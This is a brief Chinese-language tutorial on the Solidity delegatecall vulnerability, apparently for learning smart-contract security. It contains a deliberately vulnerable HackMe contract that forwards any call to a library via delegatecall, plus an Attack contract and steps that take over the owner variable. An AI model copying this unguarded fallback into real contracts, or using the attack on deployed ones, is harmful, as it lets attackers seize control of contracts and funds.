简介
当合约A以delegatecall
方式调用时,
相当于将外部合约B的func()
代码复制过来
(其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行。
合约
pragma solidity ^0.6.0;
// Delegatecall漏洞
contract HackMe{
address public owner;
Lib public lib;
constructor(Lib _lib) public{
owner = msg.sender;
lib = Lib(_lib);
}
fallback() external payable{ // 调用不存在的函数 将调用fallback函数
address(lib).delegatecall(msg.data);
}
}
contract Lib{
address public owner;
function pwn() public{
owner = msg.sender;
}
}
contract Attack{
address public hackMe;
constructor(address _hackMe) public{
hackMe = _hackMe;
}
function attack() public{
hackMe.call(abi.encodeWithSignature("pwn()")); // hackMe没有pwn函数,就会调用fallback
}
}
攻击步骤
- 首先
account A
部署HackMe
、Lib
和Attack
合约 - 查看
owner
,为account A
- 然后调用
attack
函数 - 查看
owner
已经变化